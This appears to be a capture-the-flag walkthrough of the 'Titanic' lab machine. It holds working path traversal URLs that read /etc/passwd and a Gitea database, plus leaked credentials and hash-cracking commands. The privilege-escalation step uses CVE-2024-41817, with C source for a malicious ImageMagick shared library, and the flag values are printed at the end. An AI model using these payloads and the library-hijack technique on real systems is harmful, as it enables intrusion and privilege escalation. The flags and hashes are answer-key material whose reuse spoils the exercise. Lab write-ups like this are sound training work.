Skip to content

Titanic

Initial Scan

Discovered open port 80/tcp on 10.10.11.55
Discovered open port 22/tcp on 10.10.11.55

Port 22 is SSH, port 80 is HTTP.

Enumeration

The site at http://titanic.htb/ has a ticket download feature. The /download endpoint accepts a ticket parameter.

Path Traversal - Local File Inclusion

The ticket parameter is vulnerable to path traversal:

http://titanic.htb/download?ticket=../../../../../etc/passwd
http://titanic.htb/download?ticket=../../../../../home/developer/user.txt

This gives us the user flag directly.

Exploitation

Gitea Instance

A Gitea server runs on a subdomain at http://dev.titanic.htb/. Two public repositories are accessible:

  • developer/docker-config - Contains Docker Compose files
  • developer/flask-app - Contains the web application source

MySQL Credentials

From docker-config/src/branch/main/mysql/docker-compose.yml:

environment:
  MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
  MYSQL_DATABASE: tickets
  MYSQL_USER: sql_svc
  MYSQL_PASSWORD: sql_password

Gitea Database

The Gitea database is accessible via path traversal:

http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

Cracking Gitea Hash

We extract the developer's password hash from the Gitea database and convert it with gitea2hashcat:

python gitea2hashcat.py 8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

Cracking with hashcat (mode 10900, PBKDF2-HMAC-SHA256):

hashcat -m 10900 /tmp/hash /usr/share/wordlists/rockyou.txt

Result: password 25282528

SSH Access

ssh developer@10.10.11.55
# password: 25282528

Privilege Escalation

CVE-2024-41817 - ImageMagick RCE via Malicious Shared Library

ImageMagick is vulnerable to RCE through loading a malicious shared library. We compile a shared library that executes a command on load:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("cp /root/root.txt /home/developer/root.txt");
    exit(0);
}

Compile and place it in the ImageMagick working directory:

developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("cp /root/root.txt /home/developer/root.txt");
    exit(0);
}
EOF

Once ImageMagick processes an image in that directory, the shared library loads and executes the embedded command. A second compile is needed to fix permissions:

developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("chmod 777 /home/developer/root.txt");
    exit(0);
}
EOF

Then read the root flag.

Flags

user.txt: d2757f5539121040f4bab77f018f4564 root.txt: c7d47b25a3311f914e2ff4dd26d527de